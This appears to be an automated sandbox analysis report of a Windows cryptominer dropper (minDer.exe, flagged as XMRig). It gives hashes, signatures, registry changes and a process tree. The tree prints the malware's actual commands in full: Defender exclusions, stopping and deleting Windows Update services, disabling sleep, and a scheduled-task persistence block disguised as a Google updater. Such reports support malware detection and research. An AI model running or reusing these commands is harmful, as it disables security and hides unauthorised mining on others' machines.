Analysis
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max time kernel
1794s -
max time network
1812s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
26-03-2023 17:22
Static task
static1
Behavioral task
behavioral1
Sample
NL/FDERF.exe
Resource
win10v2004-20230220-en
Behavioral task
behavioral2
Sample
NL/miDDner.exe
Resource
win10v2004-20230221-en
Behavioral task
behavioral3
Sample
NL/minDer.exe
Resource
win10v2004-20230220-en
Behavioral task
behavioral4
Sample
NL/miner.exe
Resource
win10v2004-20230220-en
General
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Target
NL/minDer.exe
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Size
53.0MB
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MD5
5c4eecf00e9f6e0222c205c3dc327bb8
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SHA1
2188e4b277e214364804a4ffcef23017a769722f
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SHA256
2fa065de1468413ea4f909f527e4b7d03bca047c5d4adf1dfa7ade9155ad84e3
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SHA512
0b1761d562484cf54a43599e84836b595dc948f86ecc438ef9bfcb9a30d40e0e51046ff4e3a1d30516971fe92ccb233d0f06613ff17695f9075185effc77db39
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SSDEEP
786432:rZxRmsqYJysNiakCKIqHMzvX67SvdZiF4QI7rR8pUvlQ6Pb:dqYJysNiakCKJHMzvX6ofQAKpUdQ6
Malware Config
Signatures
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Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 12 IoCs
description pid Process procid_target PID 1872 created 3120 1872 minDer.exe 13 PID 1872 created 3120 1872 minDer.exe 13 PID 1872 created 3120 1872 minDer.exe 13 PID 1872 created 3120 1872 minDer.exe 13 PID 1872 created 3120 1872 minDer.exe 13 PID 3776 created 3120 3776 updater.exe 13 PID 3776 created 3120 3776 updater.exe 13 PID 3776 created 3120 3776 updater.exe 13 PID 3776 created 3120 3776 updater.exe 13 PID 2288 created 3120 2288 conhost.exe 13 PID 3776 created 3120 3776 updater.exe 13 PID 3776 created 3120 3776 updater.exe 13 -
XMRig Miner payload 31 IoCs
resource yara_rule behavioral3/memory/4456-246-0x00007FF755880000-0x00007FF756074000-memory.dmp xmrig behavioral3/memory/4456-249-0x00007FF755880000-0x00007FF756074000-memory.dmp xmrig behavioral3/memory/4456-250-0x00007FF755880000-0x00007FF756074000-memory.dmp xmrig behavioral3/memory/4456-252-0x00007FF755880000-0x00007FF756074000-memory.dmp xmrig behavioral3/memory/4456-254-0x00007FF755880000-0x00007FF756074000-memory.dmp xmrig behavioral3/memory/4456-256-0x00007FF755880000-0x00007FF756074000-memory.dmp xmrig behavioral3/memory/4456-258-0x00007FF755880000-0x00007FF756074000-memory.dmp xmrig behavioral3/memory/4456-260-0x00007FF755880000-0x00007FF756074000-memory.dmp xmrig behavioral3/memory/4456-262-0x00007FF755880000-0x00007FF756074000-memory.dmp xmrig behavioral3/memory/4456-264-0x00007FF755880000-0x00007FF756074000-memory.dmp xmrig behavioral3/memory/4456-266-0x00007FF755880000-0x00007FF756074000-memory.dmp xmrig behavioral3/memory/4456-268-0x00007FF755880000-0x00007FF756074000-memory.dmp xmrig behavioral3/memory/4456-270-0x00007FF755880000-0x00007FF756074000-memory.dmp xmrig behavioral3/memory/4456-272-0x00007FF755880000-0x00007FF756074000-memory.dmp xmrig behavioral3/memory/4456-274-0x00007FF755880000-0x00007FF756074000-memory.dmp xmrig behavioral3/memory/4456-276-0x00007FF755880000-0x00007FF756074000-memory.dmp xmrig behavioral3/memory/4456-278-0x00007FF755880000-0x00007FF756074000-memory.dmp xmrig behavioral3/memory/4456-280-0x00007FF755880000-0x00007FF756074000-memory.dmp xmrig behavioral3/memory/4456-282-0x00007FF755880000-0x00007FF756074000-memory.dmp xmrig behavioral3/memory/4456-284-0x00007FF755880000-0x00007FF756074000-memory.dmp xmrig behavioral3/memory/4456-286-0x00007FF755880000-0x00007FF756074000-memory.dmp xmrig behavioral3/memory/4456-288-0x00007FF755880000-0x00007FF756074000-memory.dmp xmrig behavioral3/memory/4456-290-0x00007FF755880000-0x00007FF756074000-memory.dmp xmrig behavioral3/memory/4456-292-0x00007FF755880000-0x00007FF756074000-memory.dmp xmrig behavioral3/memory/4456-294-0x00007FF755880000-0x00007FF756074000-memory.dmp xmrig behavioral3/memory/4456-296-0x00007FF755880000-0x00007FF756074000-memory.dmp xmrig behavioral3/memory/4456-298-0x00007FF755880000-0x00007FF756074000-memory.dmp xmrig behavioral3/memory/4456-300-0x00007FF755880000-0x00007FF756074000-memory.dmp xmrig behavioral3/memory/4456-302-0x00007FF755880000-0x00007FF756074000-memory.dmp xmrig behavioral3/memory/4456-304-0x00007FF755880000-0x00007FF756074000-memory.dmp xmrig behavioral3/memory/4456-306-0x00007FF755880000-0x00007FF756074000-memory.dmp xmrig -
Stops running service(s) 3 TTPs
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Executes dropped EXE 1 IoCs
pid Process 3776 updater.exe -
resource yara_rule behavioral3/memory/4456-246-0x00007FF755880000-0x00007FF756074000-memory.dmp upx behavioral3/memory/4456-249-0x00007FF755880000-0x00007FF756074000-memory.dmp upx behavioral3/memory/4456-250-0x00007FF755880000-0x00007FF756074000-memory.dmp upx behavioral3/memory/4456-252-0x00007FF755880000-0x00007FF756074000-memory.dmp upx behavioral3/memory/4456-254-0x00007FF755880000-0x00007FF756074000-memory.dmp upx behavioral3/memory/4456-256-0x00007FF755880000-0x00007FF756074000-memory.dmp upx behavioral3/memory/4456-258-0x00007FF755880000-0x00007FF756074000-memory.dmp upx behavioral3/memory/4456-260-0x00007FF755880000-0x00007FF756074000-memory.dmp upx behavioral3/memory/4456-262-0x00007FF755880000-0x00007FF756074000-memory.dmp upx behavioral3/memory/4456-264-0x00007FF755880000-0x00007FF756074000-memory.dmp upx behavioral3/memory/4456-266-0x00007FF755880000-0x00007FF756074000-memory.dmp upx behavioral3/memory/4456-268-0x00007FF755880000-0x00007FF756074000-memory.dmp upx behavioral3/memory/4456-270-0x00007FF755880000-0x00007FF756074000-memory.dmp upx behavioral3/memory/4456-272-0x00007FF755880000-0x00007FF756074000-memory.dmp upx behavioral3/memory/4456-274-0x00007FF755880000-0x00007FF756074000-memory.dmp upx behavioral3/memory/4456-276-0x00007FF755880000-0x00007FF756074000-memory.dmp upx behavioral3/memory/4456-278-0x00007FF755880000-0x00007FF756074000-memory.dmp upx behavioral3/memory/4456-280-0x00007FF755880000-0x00007FF756074000-memory.dmp upx behavioral3/memory/4456-282-0x00007FF755880000-0x00007FF756074000-memory.dmp upx behavioral3/memory/4456-284-0x00007FF755880000-0x00007FF756074000-memory.dmp upx behavioral3/memory/4456-286-0x00007FF755880000-0x00007FF756074000-memory.dmp upx behavioral3/memory/4456-288-0x00007FF755880000-0x00007FF756074000-memory.dmp upx behavioral3/memory/4456-290-0x00007FF755880000-0x00007FF756074000-memory.dmp upx behavioral3/memory/4456-292-0x00007FF755880000-0x00007FF756074000-memory.dmp upx behavioral3/memory/4456-294-0x00007FF755880000-0x00007FF756074000-memory.dmp upx behavioral3/memory/4456-296-0x00007FF755880000-0x00007FF756074000-memory.dmp upx behavioral3/memory/4456-298-0x00007FF755880000-0x00007FF756074000-memory.dmp upx behavioral3/memory/4456-300-0x00007FF755880000-0x00007FF756074000-memory.dmp upx behavioral3/memory/4456-302-0x00007FF755880000-0x00007FF756074000-memory.dmp upx behavioral3/memory/4456-304-0x00007FF755880000-0x00007FF756074000-memory.dmp upx behavioral3/memory/4456-306-0x00007FF755880000-0x00007FF756074000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 3776 set thread context of 2288 3776 updater.exe 136 PID 3776 set thread context of 4456 3776 updater.exe 142 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe minDer.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2404 sc.exe 944 sc.exe 2852 sc.exe 2212 sc.exe 4292 sc.exe 744 sc.exe 2840 sc.exe 2172 sc.exe 4964 sc.exe 2856 sc.exe -
Program crash 1 IoCs
pid pid_target Process procid_target 1972 1156 WerFault.exe 123 -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe -
Suspicious behavior: EnumeratesProcesses 36 IoCs
pid Process 1872 minDer.exe 1872 minDer.exe 2324 powershell.exe 2324 powershell.exe 1872 minDer.exe 1872 minDer.exe 1872 minDer.exe 1872 minDer.exe 1872 minDer.exe 1872 minDer.exe 2032 powershell.exe 2032 powershell.exe 1872 minDer.exe 1872 minDer.exe 672 powershell.exe 672 powershell.exe 3776 updater.exe 3776 updater.exe 4900 powershell.exe 4900 powershell.exe 3776 updater.exe 3776 updater.exe 3776 updater.exe 3776 updater.exe 3776 updater.exe 3776 updater.exe 1156 powershell.exe 1156 powershell.exe 3776 updater.exe 3776 updater.exe 2288 conhost.exe 2288 conhost.exe 3776 updater.exe 3776 updater.exe 3776 updater.exe 3776 updater.exe -
Suspicious behavior: LoadsDriver 3 IoCs
pid Process 664 Process not Found 664 Process not Found 664 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2324 powershell.exe Token: SeShutdownPrivilege 488 powercfg.exe Token: SeCreatePagefilePrivilege 488 powercfg.exe Token: SeDebugPrivilege 2032 powershell.exe Token: SeShutdownPrivilege 732 powercfg.exe Token: SeCreatePagefilePrivilege 732 powercfg.exe Token: SeShutdownPrivilege 3588 powercfg.exe Token: SeCreatePagefilePrivilege 3588 powercfg.exe Token: SeShutdownPrivilege 3576 powercfg.exe Token: SeCreatePagefilePrivilege 3576 powercfg.exe Token: SeIncreaseQuotaPrivilege 2032 powershell.exe Token: SeSecurityPrivilege 2032 powershell.exe Token: SeTakeOwnershipPrivilege 2032 powershell.exe Token: SeLoadDriverPrivilege 2032 powershell.exe Token: SeSystemProfilePrivilege 2032 powershell.exe Token: SeSystemtimePrivilege 2032 powershell.exe Token: SeProfSingleProcessPrivilege 2032 powershell.exe Token: SeIncBasePriorityPrivilege 2032 powershell.exe Token: SeCreatePagefilePrivilege 2032 powershell.exe Token: SeBackupPrivilege 2032 powershell.exe Token: SeRestorePrivilege 2032 powershell.exe Token: SeShutdownPrivilege 2032 powershell.exe Token: SeDebugPrivilege 2032 powershell.exe Token: SeSystemEnvironmentPrivilege 2032 powershell.exe Token: SeRemoteShutdownPrivilege 2032 powershell.exe Token: SeUndockPrivilege 2032 powershell.exe Token: SeManageVolumePrivilege 2032 powershell.exe Token: 33 2032 powershell.exe Token: 34 2032 powershell.exe Token: 35 2032 powershell.exe Token: 36 2032 powershell.exe Token: SeIncreaseQuotaPrivilege 2032 powershell.exe Token: SeSecurityPrivilege 2032 powershell.exe Token: SeTakeOwnershipPrivilege 2032 powershell.exe Token: SeLoadDriverPrivilege 2032 powershell.exe Token: SeSystemProfilePrivilege 2032 powershell.exe Token: SeSystemtimePrivilege 2032 powershell.exe Token: SeProfSingleProcessPrivilege 2032 powershell.exe Token: SeIncBasePriorityPrivilege 2032 powershell.exe Token: SeCreatePagefilePrivilege 2032 powershell.exe Token: SeBackupPrivilege 2032 powershell.exe Token: SeRestorePrivilege 2032 powershell.exe Token: SeShutdownPrivilege 2032 powershell.exe Token: SeDebugPrivilege 2032 powershell.exe Token: SeSystemEnvironmentPrivilege 2032 powershell.exe Token: SeRemoteShutdownPrivilege 2032 powershell.exe Token: SeUndockPrivilege 2032 powershell.exe Token: SeManageVolumePrivilege 2032 powershell.exe Token: 33 2032 powershell.exe Token: 34 2032 powershell.exe Token: 35 2032 powershell.exe Token: 36 2032 powershell.exe Token: SeIncreaseQuotaPrivilege 2032 powershell.exe Token: SeSecurityPrivilege 2032 powershell.exe Token: SeTakeOwnershipPrivilege 2032 powershell.exe Token: SeLoadDriverPrivilege 2032 powershell.exe Token: SeSystemProfilePrivilege 2032 powershell.exe Token: SeSystemtimePrivilege 2032 powershell.exe Token: SeProfSingleProcessPrivilege 2032 powershell.exe Token: SeIncBasePriorityPrivilege 2032 powershell.exe Token: SeCreatePagefilePrivilege 2032 powershell.exe Token: SeBackupPrivilege 2032 powershell.exe Token: SeRestorePrivilege 2032 powershell.exe Token: SeShutdownPrivilege 2032 powershell.exe -
Suspicious use of WriteProcessMemory 62 IoCs
description pid Process procid_target PID 4552 wrote to memory of 4964 4552 cmd.exe 93 PID 4552 wrote to memory of 4964 4552 cmd.exe 93 PID 4552 wrote to memory of 2856 4552 cmd.exe 94 PID 4552 wrote to memory of 2856 4552 cmd.exe 94 PID 872 wrote to memory of 488 872 cmd.exe 95 PID 872 wrote to memory of 488 872 cmd.exe 95 PID 4552 wrote to memory of 2212 4552 cmd.exe 97 PID 4552 wrote to memory of 2212 4552 cmd.exe 97 PID 872 wrote to memory of 732 872 cmd.exe 98 PID 872 wrote to memory of 732 872 cmd.exe 98 PID 4552 wrote to memory of 4292 4552 cmd.exe 99 PID 4552 wrote to memory of 4292 4552 cmd.exe 99 PID 872 wrote to memory of 3588 872 cmd.exe 100 PID 872 wrote to memory of 3588 872 cmd.exe 100 PID 4552 wrote to memory of 2404 4552 cmd.exe 101 PID 4552 wrote to memory of 2404 4552 cmd.exe 101 PID 872 wrote to memory of 3576 872 cmd.exe 102 PID 872 wrote to memory of 3576 872 cmd.exe 102 PID 4552 wrote to memory of 1572 4552 cmd.exe 103 PID 4552 wrote to memory of 1572 4552 cmd.exe 103 PID 4552 wrote to memory of 3168 4552 cmd.exe 104 PID 4552 wrote to memory of 3168 4552 cmd.exe 104 PID 4552 wrote to memory of 1280 4552 cmd.exe 105 PID 4552 wrote to memory of 1280 4552 cmd.exe 105 PID 4552 wrote to memory of 728 4552 cmd.exe 106 PID 4552 wrote to memory of 728 4552 cmd.exe 106 PID 4552 wrote to memory of 3644 4552 cmd.exe 107 PID 4552 wrote to memory of 3644 4552 cmd.exe 107 PID 672 wrote to memory of 3216 672 powershell.exe 110 PID 672 wrote to memory of 3216 672 powershell.exe 110 PID 3388 wrote to memory of 944 3388 cmd.exe 118 PID 3388 wrote to memory of 944 3388 cmd.exe 118 PID 4924 wrote to memory of 1104 4924 cmd.exe 119 PID 4924 wrote to memory of 1104 4924 cmd.exe 119 PID 3388 wrote to memory of 744 3388 cmd.exe 120 PID 3388 wrote to memory of 744 3388 cmd.exe 120 PID 4924 wrote to memory of 3616 4924 cmd.exe 121 PID 4924 wrote to memory of 3616 4924 cmd.exe 121 PID 3388 wrote to memory of 2852 3388 cmd.exe 122 PID 3388 wrote to memory of 2852 3388 cmd.exe 122 PID 3388 wrote to memory of 2840 3388 cmd.exe 124 PID 3388 wrote to memory of 2840 3388 cmd.exe 124 PID 4924 wrote to memory of 2080 4924 cmd.exe 125 PID 4924 wrote to memory of 2080 4924 cmd.exe 125 PID 3388 wrote to memory of 2172 3388 cmd.exe 126 PID 3388 wrote to memory of 2172 3388 cmd.exe 126 PID 3388 wrote to memory of 3712 3388 cmd.exe 127 PID 3388 wrote to memory of 3712 3388 cmd.exe 127 PID 4924 wrote to memory of 4100 4924 cmd.exe 128 PID 4924 wrote to memory of 4100 4924 cmd.exe 128 PID 3388 wrote to memory of 1344 3388 cmd.exe 129 PID 3388 wrote to memory of 1344 3388 cmd.exe 129 PID 3388 wrote to memory of 1416 3388 cmd.exe 130 PID 3388 wrote to memory of 1416 3388 cmd.exe 130 PID 3388 wrote to memory of 3892 3388 cmd.exe 132 PID 3388 wrote to memory of 3892 3388 cmd.exe 132 PID 3388 wrote to memory of 4716 3388 cmd.exe 133 PID 3388 wrote to memory of 4716 3388 cmd.exe 133 PID 3776 wrote to memory of 2288 3776 updater.exe 136 PID 5056 wrote to memory of 1608 5056 cmd.exe 141 PID 5056 wrote to memory of 1608 5056 cmd.exe 141 PID 3776 wrote to memory of 4456 3776 updater.exe 142 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3120
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C:\Users\Admin\AppData\Local\Temp\NL\minDer.exe"C:\Users\Admin\AppData\Local\Temp\NL\minDer.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1872
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2324
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4552 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:4964
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:2856
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:2212
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:4292
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:2404
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:1572
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:3168
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:1280
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:728
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:3644
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
PID:872 -
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:488
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:732
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:3588
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:3576
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#hpfjuzary#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2032
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#jcugcwsbl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:672 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:3216
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4900
